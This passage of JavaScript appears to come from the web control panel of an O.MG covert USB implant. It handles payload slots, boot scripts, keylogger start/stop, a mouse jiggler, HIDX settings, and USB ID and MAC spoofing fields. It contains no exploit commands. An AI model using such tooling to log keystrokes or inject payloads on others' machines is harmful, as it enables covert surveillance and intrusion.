\"SVStatus\":\n\t\t\t\t\tapiResponseSVStatus(responseText);\n\t\t\t\t\tbreak;\n\t\t\t\tcase responseTextParams[0].match(/\\[.*\\]/)?.input:\n\t\t\t\t\tlogMessage(`CRIT`, `WebSocket MessageID: Unknown ID Handler. [response]:[${responseText}]`)\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tlogMessage(`CRIT`, `WebSocket Message Error: Could not be routed. [response]:[${responseText}]`)\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction issueCustomCommand() {\n\t\t\tconst cmd = document.getElementById('customCommandInput').value;\n\t\t\tlogMessage('INFO', `issueCustomCommand: [cmd]:[${cmd}]`);\n\t\t\tsendMessage(`[custom]${cmd}`);\n\t\t}\n\t\t\n\t\tfunction apiResponseCustom(data) {\n\t\t\tdata = data.replace(\"[custom]\", \"\");\n\t\t\tconst { response, parameters } = parseData(data);\n\t\t\n\t\t\tlogMessage('CRIT', `issueCustomCommand: [response]:[${response}] [parameters]:[${parameters}]`);\n\t\t\tupdateElementValue('customCommandOutput', parameters, 'value');\n\t\t}\n\t\t\n\t\tlet prevDataCTList = null;\n\t\tconst apiResponseCTList = (data) => {\n\t\t\tif (data === prevDataCTList) {\n\t\t\t\tlet uicolorExists = false;\n\t\t\t\tlet splitData = data.split('\\t');\n\t\t\t\tlet listName = splitData[0];\n\t\t\t\tlet jsonData = splitData[1];\n\t\t\t\tlet jsonObject = JSON.parse(jsonData);\n\t\t\t\tfor (let key in jsonObject) {\n\t\t\t\t\tif (key == \"uicolor\") {\n\t\t\t\t\t\tcustomColor = document.getElementById('uicolorCustom');\n\t\t\t\t\t\tcustomColor.value = jsonObject[key];\n\t\t\t\t\t\tcustomColorSlider = document.getElementById('color-slider');\n\t\t\t\t\t\tcustomColorSlider.value = jsonObject[key];\n\t\t\t\t\t\tuicolor = jsonObject[key];\n\t\t\t\t\t\tsetAccentColors(jsonObject[key]);\n\t\t\t\t\t\tuicolorExists = true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn;\n\t\t\t}\n\t\t\n\t\t\tprevDataCTList = data;\n\t\t\tlet uicolorExists = false;\n\t\t\tlet splitData = data.split('\\t');\n\t\t\tlet listName = splitData[0];\n\t\t\tlet jsonData = splitData[1];\n\t\t\tlet jsonObject = JSON.parse(jsonData);\n\t\t\n\t\t\tfor (let key in jsonObject) {\n\t\t\t\tif (key == \"bootpair\") {\n\t\t\t\t\tbootpair = jsonObject[key];\n\t\t\t\t\tdocument.getElementById('bootscriptPair').value = bootpair;\n\t\t\t\t}\n\t\t\n\t\t\t\tif (key == \"bootscript\" && jsonObject[key] !== '0') {\n\t\t\t\t\tdocument.getElementById(`toggle-BootScript`).classList.add(`active`);\n\t\t\t\t\tdocument.getElementById(`toggle-BootScriptFileMenu`).classList.add(`active`);\n\t\t\t\t}\n\t\t\n\t\t\t\tif (key == \"bootscript\" && jsonObject[key] == '0') {\n\t\t\t\t\tdocument.getElementById(`toggle-BootScript`).classList.remove(`active`);\n\t\t\t\t\tdocument.getElementById(`toggle-BootScriptFileMenu`).classList.remove(`active`);\n\t\t\t\t}\n\t\t\n\t\t\t\tif (key == \"wifimac\") {\n\t\t\t\t\twifimac = document.getElementById('device-CustomMACAddress');\n\t\t\t\t\twifimac.value = jsonObject[key];\n\t\t\t\t}\n\t\t\n\t\t\t\tif (key == \"devicename\") {\n\t\t\t\t\tdevicename = document.getElementById('device-name');\n\t\t\t\t\tdevicename.value = jsonObject[key];\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (key == \"hidxhost\") {\n\t\t\t\t\thidxhost = document.getElementById('hidxhost');\n\t\t\t\t\thidxhost.value = jsonObject[key];\n\t\t\t\t}\n\t\t\n\t\t\t\tif (key == \"hidxport\") {\n\t\t\t\t\thidxport = document.getElementById('hidxport');\n\t\t\t\t\thidxport.value = jsonObject[key];\n\t\t\t\t}\n\t\t\n\t\t\t\tif (key == \"hidxboot\") {\n\t\t\t\t\tdocument.getElementById(`hidxboot`).classList.add(`active`);\n\t\t\t\t}\n\t\t\n\t\t\t\tif (key == \"showmsgtime\") {\n\t\t\t\t\talwaysDisplayLastPoll = elementValue;\n\t\t\t\t\tconst toggleElems = ['c2logAlwaysShow'];\n\t\t\t\t\ttoggleElems.forEach((elemId) => {\n\t\t\t\t\t\tconst toggleElem = document.getElementById(elemId);\n\t\t\t\t\t\tif (toggleElem) {\n\t\t\t\t\t\t\tif (elementValue !== '0') {\n\t\t\t\t\t\t\t\ttoggleElem.classList.add('active');\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\ttoggleElem.classList.remove('active');\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\n\t\t\t\tif (key == \"slotmode\") {\n\t\t\t\t\tslotmode = jsonObject[key];\n\t\t\t\t}\n\t\t\n\t\t\t\tif (key == \"uicolor\") {\n\t\t\t\t\tcustomColor = document.getElementById('uicolorCustom');\n\t\t\t\t\tcustomColor.value = jsonObject[key];\n\t\t\t\t\tcustomColorSlider = document.getElementById('color-slider');\n\t\t\t\t\tcustomColorSlider.value = jsonObject[key];\n\t\t\t\t\tsetAccentColors(jsonObject[key]);\n\t\t\t\t\tuicolorExists = true;\n\t\t\t\t}\n\t\t\n\t\t\t\tif (key == \"usbinterval\") {\n\t\t\t\t\tusbinterval = document.getElementById('experimentalSpeed');\n\t\t\t\t\tusbinterval.value = jsonObject[key];\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (key == \"keylogall\") {\n\t\t\t\t\tif (jsonObject[key] == \"1\") {\n\t\t\t\t\t\tdocument.getElementById(`keylogDisplayUnmappedValues`).classList.add(`active`);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\tif (!uicolorExists) {\n\t\t\t\tconst deviceModel = document.getElementById('device-Model').innerHTML;\n\t\t\t\tconst deviceType = document.getElementById('device-Type').innerHTML;\n\t\t\n\t\t\t\tif (deviceModel == \"c\" && deviceType == \"p\") {\n\t\t\t\t\tsendMessage(`CTSet\\tuicolor\\tblue`);\n\t\t\t\t\tsetAccentColors(\"blue\");\n\t\t\t\t} else {\n\t\t\t\t\tsendMessage(`CTSet\\tuicolor\\tred`);\n\t\t\t\t\tsetAccentColors(\"red\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tlet globalJson = {};\n\t\tlet resolveFunction = null;\n\t\t\n\t\tfunction apiResponseCFList(data) {\n\t\t\tconst { response, parameters } = parseData(data);\n\t\t\tlogMessage('DEBUG', `apiResponseCFList: [data]:[${response}]`);\n\t\t\tupdateElement('response-CFList', response);\n\t\t\tconst json = JSON.parse(parameters[1]);\n\t\t\tObject.assign(globalJson, json);\n\t\t\tif (parameters[3] !== \"0\") {\n\t\t\t\tsendMessage(`CFList\\t${parameters[3]}`);\n\t\t\t\treturn new Promise((resolve, reject) => {\n\t\t\t\t\tresolveFunction = resolve;\n\t\t\t\t});\n\t\t\t} else {\n\t\t\t\tprocessCFListData();\n\t\t\t\tif (resolveFunction) {\n\t\t\t\t\tresolveFunction();\n\t\t\t\t\tresolveFunction = null;\n\t\t\t\t}\n\t\t\t\treturn Promise.resolve();\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction processCFListData() {\n\t\t\tconst CFListResults = document.getElementById(\"CFListResults\");\n\t\t\tCFListResults.innerHTML = \"\";\n\t\t\tconst payloadList = document.getElementById(\"payload-list\");\n\t\t\tpayloadList.innerHTML = \"\";\n\t\t\tconst payloadSelect = document.getElementById(\"payloadSelect\");\n\t\t\tpayloadSelect.innerHTML = \"\";\n\t\t\n\t\t\n\t\t\tObject.entries(globalJson).forEach(([key, value]) => {\n\t\t\t\tconst label = document.createElement(\"label\");\n\t\t\t\tlabel.for = key;\n\t\t\t\tlabel.innerText = `cflist: ${key}`;\n\t\t\n\t\t\t\tconst name = document.createElement(\"input\");\n\t\t\t\tname.id = key;\n\t\t\t\tname.name = parseInt(value[0], 10);\n\t\t\t\tname.value = value[1];\n\t\t\t\tCFListResults.appendChild(label);\n\t\t\t\tCFListResults.appendChild(name);\n\t\t\t\tif (key.startsWith(\"payload\")) {\n\t\t\t\t\tconst option = document.createElement(\"option\");\n\t\t\t\t\toption.value = key;\n\t\t\t\t\toption.innerHTML = key;\n\t\t\t\t\tpayloadList.appendChild(option);\n\t\t\t\t\tpayloadSelect.appendChild(option);\n\t\t\t\t}\n\t\t\t});\n\t\t\n\t\t\tlet payloadSlotAvailable = 0;\n\t\t\tfor (let key in globalJson) {\n\t\t\t\tif (key.startsWith(\"bootscript\") || key.startsWith(\"payload\") || key.startsWith(\"exec\") || key.startsWith(\"keylog\") || key.startsWith(\"plcache\") || key.startsWith(\"hidxfile\") || key.startsWith(\"<free>\")) {\n\t\t\t\t\tpayloadSlotAvailable += parseInt(globalJson[key][1]);\n\t\t\t\t}\n\t\t\t}\n\t\t\tconst elementIds = {\n\t\t\t\t'partitionEditorAvailable': { value: payloadSlotAvailable, method: 'value' },\n\t\t\t};\n\t\t\tsetElementValues(elementIds);\n\t\t\t\n\t\t\tupdateElement('response-CFList', JSON.stringify(globalJson));\n\t\t\tglobalJson = {};\n\t\t}\n\t\t\n\t\tlet prevDataCI = null;\n\t\t\n\t\tfunction apiResponseCI(data) {\n\t\t\tif (data === prevDataCI) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tprevDataCI = data;\n\t\t\n\t\t\tconst { response, parameters } = parseData(data);\n\t\t\n\t\t\tif (parseFloat(parameters[6]) < previousUptime || parameters[1] !== previousMAC) {\n\t\t\t\tviewDialog('ipAddress', 'remove');\n\t\t\t\tif (parameters[1] !== previousMAC && previousMAC != null) {\n\t\t\t\t\ttoggleModalVisibility(true);\n\t\t\n\t\t\t\t\tconst modalLabel = \"Warning\";\n\t\t\t\t\tconst modalMessage = `Device MAC Address has changed. WebUI will reload in 10 seconds. If you did not intend this, check that you do not have multiple O.MG Devices operating on the same SSID and IP Address.`;\n\t\t\n\t\t\t\t\tsetElementValues({\n\t\t\t\t\t\t\"modalLabel\": modalLabel,\n\t\t\t\t\t\t\"modalMessage\": modalMessage\n\t\t\t\t\t});\n\t\t\n\t\t\t\t\tsetTimeout(function() {\n\t\t\t\t\t\tlocation.reload(true);\n\t\t\t\t\t}, 10000);\n\t\t\t\t}\n\t\t\n\t\t\t\tconst elementIds = {\n\t\t\t\t\t'response-CI': { value: response, method: 'value' },\n\t\t\t\t\t'device-HardwareMACAddress': { value: parameters[1], method: 'innerHTML' },\n\t\t\t\t\t'device-FlashSize': { value: parameters[2], method: 'value' },\n\t\t\t\t\t'device-Uptime': { value: parameters[6], method: 'value' },\n\t\t\t\t};\n\t\t\t\tsetElementValues(elementIds);\n\t\t\n\t\t\t\tconst restartReasons = {\n\t\t\t\t\t'0': 'Normal Startup By Power On',\n\t\t\t\t\t'1': `Hardware Watchdog Reset ${parameters[4]} ${parameters[5]} ${parameters[7]} ${parameters[8]}`,\n\t\t\t\t\t'2': `Exception Reset ${parameters[4]} ${parameters[5]} ${parameters[7]} ${parameters[8]}`,\n\t\t\t\t\t'3': `Software Watchdog Reset ${parameters[4]} ${parameters[5]} ${parameters[7]} ${parameters[8]}`,\n\t\t\t\t\t'4': 'Software Restart',\n\t\t\t\t\t'5': 'Wake from Deep-Sleep',\n\t\t\t\t\t'6': 'External System Reset',\n\t\t\t\t};\n\t\t\n\t\t\t\tconst restartReason = restartReasons[parameters[3]] || 'Unknown Restart Reason';\n\t\t\t\tlogMessage('INFO', `Connection Established: [Uptime]:[${parameters[6]} seconds - ${restartReason}]`, 'Connection Established');\n\t\t\t\tviewDialog(`partitionApplied`, `close`);\n\t\t\n\t\t\t\tpreviousUptime = parseFloat(parameters[6]);\n\t\t\t\tpreviousMAC = parameters[1];\n\t\t\t}\n\t\t}\n\t\t\n\t\tlet prevDataCNGet = null;\n\t\t\n\t\tfunction apiResponseCNGet(data) {\n\t\t\tif (data === prevDataCNGet) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tprevDataCNGet = data;\n\t\t\n\t\t\tconst { response, parameters } = parseData(data);\n\t\t\tlogMessage('CRIT', `apiResponseCNGet: [data]:[${response}]`);\n\t\t\n\t\t\tconst elementIds = {\n\t\t\t\t'response-CNGet': { value: response, method: 'value' },\n\t\t\t\t'device-USBVID': { value: parameters[1], method: 'value' },\n\t\t\t\t'device-USBPID': { value: parameters[2], method: 'value' },\n\t\t\t\t'device-USBMAN': { value: parameters[3], method: 'value' },\n\t\t\t\t'device-USBPRO': { value: parameters[4], method: 'value' },\n\t\t\t\t'device-USBSER': { value: parameters[5], method: 'value' },\n\t\t\t};\n\t\t\n\t\t\tsetElementValues(elementIds);\n\t\t}\n\t\t\n\t\tlet intervalIdCPGet = null;\n\t\t\n\t\tfunction apiResponseCPGet(data) {\n\t\t\tconst { response, parameters } = parseData(data);\n\t\t\tconst isCPGet = response === \"CPGet\\t\";\n\t\t\n\t\t\tsetElementValues({\n\t\t\t\t'response-CPGet': isCPGet ? '' : response,\n\t\t\t\t'calibrationStatusViewer': isCPGet ? 'Generating Calibration Data. Please Wait.' : response\n\t\t\t});\n\t\t\n\t\t\tif (isCPGet && !intervalIdCPGet) {\n\t\t\t\tintervalIdCPGet = setInterval(() => sendMessage('CPGet'), 1000);\n\t\t\t} else if (!isCPGet && intervalIdCPGet) {\n\t\t\t\tclearInterval(intervalIdCPGet);\n\t\t\t\tintervalIdCPGet = null;\n\t\t\t}\n\t\t\n\t\t\tlogMessage('CRIT', `apiResponseCPGet: [data]:[${response}]`);\n\t\t}\n\t\t\n\t\tasync function readCalibrationText(event) {\n\t\t\tconst file = event.target.files.item(0);\n\t\t\tconst text = await file.text();\n\t\t\tcalibrationData(text);\n\t\t}\n\t\t\n\t\tfunction calibrationData(data) {\n\t\t\tlogMessage(`CRIT`, `CalibrationData: [file]:[${data}]`);\n\t\t\tsendMessage(`CO${data}`);\n\t\t}\n\t\t\n\t\tfunction apiResponseCO(data) {\n\t\t\tconst { response, parameters } = parseData(data);\n\t\t\n\t\t\ttoggleModalVisibility(true);\n\t\t\n\t\t\tconst isSuccess = params[1] === \"ok\";\n\t\t\tconst modalLabel = isSuccess ? \"Calibration Success\" : \"Calibration Failed\";\n\t\t\tconst modalMessage = isSuccess ?\n\t\t\t\t`Calibration Succeeded. Please unplug and replug your O.MG Device to apply configuration.` :\n\t\t\t\t`Log Data: <${params}>`;\n\t\t\n\t\t\tsetElementInnerHTML(\"modalLabel\", modalLabel);\n\t\t\tsetElementInnerHTML(\"modalMessage\", modalMessage);\n\t\t\n\t\t\tif (isSuccess) {\n\t\t\t\tlogMessage(`INFO`, `Calibration Succeeded. Please unplug and replug your O.MG Cable to apply configuration. Response: ${params}`);\n\t\t\t\tsendMessage(`CR1`);\n\t\t\t} else {\n\t\t\t\tlogMessage(`INFO`, `Calibration Failed. Response: ${params}`);\n\t\t\t}\n\t\t\n\t\t\tparameters = response.split(\"\\t\");\n\t\t\tlogMessage(`CRIT`, `apiResponseCO: [data]:[${response}]`);\n\t\t\tsetElementInnerHTML(\"response-CO\", response);\n\t\t}\n\t\t\n\t\tlet prevDataCTGet = null;\n\t\t\n\t\tfunction apiResponseCTGet(data) {\n\t\t\tif (data === prevDataCTGet) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tprevDataCTGet = data;\n\t\t\n\t\t\tconst { response, parameters } = parseData(data);\n\t\t\tlogMessage('CRIT', `apiResponseCTGet: [data]:[${response}]`);\n\t\t\tsetElementValues({ 'response-CTGet': response });\n\t\t\n\t\t\tconst settingKey = parameters[1];\n\t\t\tconst settingValue = parameters[2];\n\t\t\n\t\t\tconst settingsMap = {\n\t\t\t\twifimac: 'device-CustomMACAddress',\n\t\t\t\tuicolor: setAccentColors\n\t\t\t};\n\t\t\n\t\t\tif (settingsMap.hasOwnProperty(settingKey)) {\n\t\t\t\tconst action = settingsMap[settingKey];\n\t\t\t\ttypeof action === 'function' ? action(settingValue) : setElementValues({\n\t\t\t\t\t[action]: settingValue\n\t\t\t\t});\n\t\t\t} else {\n\t\t\t\tlogMessage('CRIT', `CTGet does not have a handler for this setting. [key]:[${settingKey}] [value]:[${settingValue}]`);\n\t\t\t}\n\t\t}\n\t\t\n\t\tconst apiResponseCV = (() => {\n\t\t\tpreviousData = null;\n\t\t\n\t\t\treturn (data) => {\n\t\t\t\tif (data !== previousData) {\n\t\t\t\t\tconst response = data;\n\t\t\t\t\tconst parameters = response.split(\"\\t\");\n\t\t\t\t\tlogMessage(`DIAG`, `apiResponseCV: [data]:[${response}]`);\n\t\t\n\t\t\t\t\tviewDialog('loadingScreen', 'close');\n\t\t\n\t\t\t\t\tconst type = parameters[2].charAt(0);\n\t\t\t\t\tconst model = parameters[2].charAt(1);\n\t\t\t\t\tconst calibrationStatus = parameters[3].charAt(0);\n\t\t\n\t\t\t\t\tconst typeData = processType(type);\n\t\t\t\t\tconst modelData = processModel(model);\n\t\t\t\t\t\n\t\t\t\t\tif(type == \"a\") {\n\t\t\t\t\t\tactiveEndLabel = \"the USB-A side of your O.MG Cable\";\n\t\t\t\t\t} else if (type == \"b\") {\n\t\t\t\t\t\tactiveEndLabel = \"the USB-A Plug of your O.MG UnBlocker\";\n\t\t\t\t\t} else if (type == \"d\") {\n\t\t\t\t\t\tactiveEndLabel = \"your O.MG Plug\";\n\t\t\t\t\t} else if (type == \"c\" || type == \"d\") {\n\t\t\t\t\t\tactiveEndLabel = \"the USB-C side of your O.MG Cable\";\t\t\t\t\n\t\t\t\t\t} else if (type == \"t\") {\n\t\t\t\t\t\tactiveEndLabel = \"the USB-C side of your O.MG Adapter\";\t\t\t\t\n\t\t\t\t\t} else {\n\t\t\t\t\t\tactiveEndLabel = \"O.MG Device\";\n\t\t\t\t\t}\n\t\t\n\t\t\t\t\tapplyFeatureFlags(type, model);\n\t\t\n\t\t\t\t\tif (['c', 'k', 'd', 'e'].includes(model)) {\n\t\t\t\t\t\ttoggleClass('contentSubNav_payload', 'hidden', 'visible');\n\t\t\t\t\t}\n\t\t\n\t\t\t\t\tif (model === 'k' || model === 'e') {\n\t\t\t\t\t\ttoggleClass('contentSubNav_keylog', 'hidden', 'visible');\n\t\t\t\t\t}\n\t\t\n\t\t\t\t\tif (calibrationStatus === '?' || calibrationStatus === '-' || calibrationStatus === 'l' || calibrationStatus === '') {\n\t\t\t\t\t\tupdateElementValue('modelText', 'ERROR', 'innerHTML');\n\t\t\t\t\t\tcontentAreaToggle('syslog');\n\t\t\t\t\t\ttoggleClass('contentSubNav_payload', 'visible', 'hidden');\n\t\t\t\t\t\tupdateElementValue('navbarAlerts', '<button onclick=\"viewDialog(`calibrationerror`, `open`);\">Calibration Error</button>', 'innerHTML');\n\t\t\t\t\t\tupdateElementValue('device-TypeDecoded', 'O.MG Device', 'innerHTML');\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(calibrationStatus === 'l') {\n\t\t\t\t\t\t\tupdateElementValue('device-CalibrationStatusDecoded', 'Legacy Calibration', 'innerHTML');\n\t\t\t\t\t\t\tlogMessage(`CRIT`, '! ALERT: Device calibration incompatible with new firmware. You can initiate a free calibration upgrade, or downgrade to v1 firmware.');\n\t\t\t\t\t\t\tcalibrationDescriptionText = 'Device calibration incompatible with new firmware. You can initiate a free calibration upgrade, or downgrade to v1 firmware. For more details please see: <a href=\"https://github.com/O-MG/O.MG-Firmware/wiki/Calibration-Upgrade\">Calibration-Upgrade Instructions</a>';\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tupdateElementValue('device-CalibrationStatusDecoded', 'Calibration Error, Contact Support', 'innerHTML');\n\t\t\t\t\t\t\tlogMessage(`CRIT`, '! ALERT: Device calibration failure. Please contact support.');\n\t\t\t\t\t\t\tcalibrationDescriptionText = 'Device calibration failure. Please contact support. For more details please see: <a href=\"https://github.com/O-MG/O.MG-Firmware/wiki#support\">O.MG Support</a>';\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tcreateDialog({\n\t\t\t\t\t\t\tid: 'calibrationerror',\n\t\t\t\t\t\t\ttitle: 'Calibration Error',\n\t\t\t\t\t\t\tdescription: `${calibrationDescriptionText}<br /><br />\n\t\t\t\t\t\t\t<h2>Tools</h2>\n\t\t\t\t\t\t\t<button class=\"submitButton\" id=\"sidebar_settings_debug_CPStart\" onclick=\"sendMessage('CPStart'); sendMessage('CPGet'); this.remove();\">Generate Hardware Profile</button>\n\t\t\t\t\t\t\t<div id=\"calibrationStatusViewer\"><br /><button class=\"submitButton\" id=\"calibrationErrorDownloadButton\" onclick=\"downloadFrontendlog();\">Download Frontend Log</button></div>\n\t\t\t\t\t\t\t<form>\n\t\t\t\t\t\t\t\t<h2>Apply Calibration File:</h2>\n\t\t\t\t\t\t\t\t<input type=\"file\" id=\"calibration\" name=\"calibration\" accept=\".cal\" onchange=\"readCalibrationText(event)\">\n\t\t\t\t\t\t\t\t<div class=\"message-body\">\n\t\t\t\t\t\t\t\t\t<p id=\"omg-calibration-text\"></p>\n\t\t\t\t\t\t\t\t\t<p id=\"omg-calibration-log\"></p>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</form>`,\n\t\t\t\t\t\t\tcloseEnabled: true,\n\t\t\t\t\t\t});\n\t\t\n\t\t\t\t\t\tfeatureFlags = ['global', 'syslog', 'debug'];\n\t\t\t\t\t\thideElementsByClass('payload', 'keylog', 'c2', 'hidx');\n\t\t\t\t\t\ttoggleFeatureFlags();\n\t\t\t\t\t} else {\n\t\t\t\t\t\tconst elementIds = {\n\t\t\t\t\t\t\t'response-CV': { value: response, method: 'value' },\n\t\t\t\t\t\t\t'frontend-VersionNumber': { value: frontendVersionNumber, method: 'innerHTML' },\n\t\t\t\t\t\t\t'firmwareVersionNumberHumanReadableString': { value: convertVersionToDate(frontendMinorVersion), method: 'innerHTML' },\n\t\t\t\t\t\t\t'device-VersionNumber': { value: parameters[1], method: 'innerHTML' },\n\t\t\t\t\t\t\t'device-Model': { value: parameters[2].charAt(0), method: 'innerHTML' },\n\t\t\t\t\t\t\t'device-Type': { value: parameters[2].charAt(1), method: 'innerHTML' },\n\t\t\t\t\t\t\t'device-CalibrationStatus': { value: parameters[3], method: 'value' },\n\t\t\t\t\t\t\t'device-TypeDecoded': { value: typeData[0] + ' ' + modelData[0], method: 'innerHTML' },\n\t\t\t\t\t\t\t'modelText': { value: modelData[1], method: 'innerHTML' },\n\t\t\t\t\t\t\t'device-CalibrationStatusDecoded': { value: 'Good', method: 'innerHTML' },\n\t\t\t\t\t\t};\n\t\t\t\t\t\tsetElementValues(elementIds);\n\t\t\t\t\t\tfccID = parameters[4];\n\t\t\t\t\t}\n\t\t\t\t\ttoggleFeatureFlags();\n\t\t\n\t\t\t\t\tpreviousData = data;\n\t\t\t\t}\n\t\t\t};\n\t\t})();\n\t\t\n\t\tfunction apiResponseFSGet(data) {\n\t\t\tconst { response, parameters } = parseData(data);\n\t\t\tif (parameters[1] == \"0\") {\n\t\t\t\tlogMessage(`INFO`, `First Time Setup Wizard: Not Activated`);\n\t\t\t\tdebugLevel = 'NONE';\n\t\t\t\tviewDialog('firstTimeSetup', 'blockingOpen');\n\t\t\t}\n\t\t}\n\t\t\n\t\tlet prevDataCWInfo = null;\n\t\t\n\t\tfunction apiResponseCWInfo(data) {\n\t\t\tif (data === prevDataCWInfo) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tprevDataCWInfo = data;\n\t\t\tconst { response, parameters } = parseData(data);\n\t\t\tlogMessage(`DIAG`, `apiResponseCWInfo: [data]:[${response}]`);\n\t\t\n\t\t\tconst elementIds = {\n\t\t\t\t'response-CWInfo': { value: response, method: 'value' },\n\t\t\t\t'device-WIFIMode': { value: parameters[0], method: 'value' },\n\t\t\t\t'device-WIFISSID': { value: parameters[2], method: 'value' },\n\t\t\t\t'device-WIFIPassword': { value: parameters[3], method: 'value' },\n\t\t\t\t'device-WIFIChannel': { value: parameters[4], method: 'value' },\n\t\t\t};\n\t\t\tsetElementValues(elementIds);\n\t\t\n\t\t\tif (parameters[1] === '2') {\n\t\t\t\tsetRadioChecked('CW0');\n\t\t\t} else if (parameters[1] === '1') {\n\t\t\t\tsetRadioChecked('CW1');\n\t\t\t} else {\n\t\t\t\tsetRadioChecked('CW0');\n\t\t\t}\n\t\t}\n\t\t\n\t\tlet prevDataSVStatus = null;\n\t\tfunction apiResponseSVStatus(data) {\n\t\t\tif (data === prevDataSVStatus) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tprevDataSVStatus = data;\n\t\t\tconst { response, parameters } = parseData(data);\n\t\t\n\t\t\tlogMessage(`CRIT`, `apiResponseSVStatus: [data]:[${response}]`);\n\t\t\t\n\t\t\tconst jsonChunk = JSON.parse(parameters[1]);\n\t\t\n\t\t\tif (jsonChunk.hasOwnProperty('usb')) {\n\t\t\t\tconst usbStatus = jsonChunk.usb.state;\n\t\t\t\tswitch (usbStatus) {\n\t\t\t\t\tcase 'Detached':\n\t\t\t\t\t\tdocument.getElementById(`toggle-CU`).classList.remove(`active`);\n\t\t\t\t\t\tdocument.getElementById(`toggle-CJ`).classList.remove(`active`);\n\t\t\t\t\t\tbreak\n\t\t\t\t\tcase 'NoHost':\n\t\t\t\t\t\tdocument.getElementById(`toggle-CU`).classList.add(`active`);\n\t\t\t\t\t\tcreateDialog({\n\t\t\t\t\t\t\tid: 'usbenumeration',\n\t\t\t\t\t\t\ttitle: 'Host not detected',\n\t\t\t\t\t\t\tdescription: `Check that ${activeEndLabel} is connected to the USB Host device you are targeting. <br \\><br \\><a href=\"https://github.com/O-MG/O.MG-Firmware/wiki#active-end-vs-passthrough-end\">Learn More</a>`,\n\t\t\t\t\t\t\tcloseEnabled: true,\n\t\t\t\t\t\t});\n\t\t\t\t\t\tbreak\n\t\t\t\t\tcase 'Enumerated':\n\t\t\t\t\t\tdocument.getElementById(`toggle-CU`).classList.add(`active`);\n\t\t\t\t\t\tbreak\n\t\t\t\t\tcase 'Err-Default':\n\t\t\t\t\t\tdocument.getElementById(`toggle-CU`).classList.add(`active`);\n\t\t\t\t\t\tbreak\n\t\t\t\t\tcase 'Err-Address':\n\t\t\t\t\t\tdocument.getElementById(`toggle-CU`).classList.add(`active`);\n\t\t\t\t\t\tbreak\n\t\t\t\t\tcase 'Suspended':\n\t\t\t\t\t\tdocument.getElementById(`toggle-CU`).classList.add(`active`);\n\t\t\t\t\t\tbreak\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tlogMessage(`INFO`, `! ERROR: USB Enumeration Status Unexpected.`);\n\t\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (jsonChunk.hasOwnProperty('jiggler')) {\n\t\t\t\tconst jigglerStatus = jsonChunk.jiggler.state;\n\t\t\t\tswitch (jigglerStatus) {\n\t\t\t\t\tcase 'disabled':\n\t\t\t\t\t\tdocument.getElementById(`toggle-CJ`).classList.remove(`active`);\n\t\t\t\t\t\tbreak\n\t\t\t\t\tcase 'enabled':\n\t\t\t\t\t\tdocument.getElementById(`toggle-CJ`).classList.add(`active`);\n\t\t\t\t\t\tbreak\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tlogMessage(`INFO`, `! ERROR: Jiggler Status Unexpected.`);\n\t\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (jsonChunk.hasOwnProperty('kl')) {\n\t\t\t\tconst klStatus = jsonChunk.kl.state;\n\t\t\t\tconst footerNavKeylogStatus = document.getElementById('footerNavKeylogStatus');\n\t\t\t\tconst klButtonText = document.getElementById('keylogStartButton');\n\t\t\n\t\t\t\tswitch (klStatus) {\n\t\t\t\t\tcase 'active':\n\t\t\t\t\t\tfooterNavKeylogStatus.classList.add('buttonSelected');\n\t\t\t\t\t\tklButtonText.innerHTML = 'Stop';\n\t\t\t\t\t\tbreak\n\t\t\t\t\tcase 'disabled':\n\t\t\t\t\t\tfooterNavKeylogStatus.classList.remove('buttonSelected');\n\t\t\t\t\t\tklButtonText.innerHTML = 'Start';\n\t\t\t\t\t\tbreak\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tlogMessage(`INFO`, `! ERROR: Keylog Status Unexpected.`);\n\t\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tlet prevDataCWStatus = null;\n\t\t\n\t\tfunction apiResponseCWStatus(data) {\n\t\t\tif (data === prevDataCWStatus) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tprevDataCWStatus = data;\n\t\t\tconst { response, parameters } = parseData(data);\n\t\t\n\t\t\tipAddressSplit = parameters[2].match(/.{1,2}/g);\n\t\t\tipAddressDecimal = ipAddressSplit.reverse().map(hex => parseInt(hex, 16)).join('.');\n\t\t\n\t\t\tlogMessage(`DEBUG`, `apiResponseCWStatus: [data]:[${response}]`);\n\t\t\n\t\t\tconst elementIds = {\n\t\t\t\t'response-CWStatus': { value: response, method: 'value' },\n\t\t\t\t'device-IPAddress': { value: ipAddressDecimal, method: 'innerHTML' },\n\t\t\t};\n\t\t\tsetElementValues(elementIds);\n\t\t}\n\t\t\n\t\tfunction updateUSBIDs() {\n\t\t\tconst usbCommands = 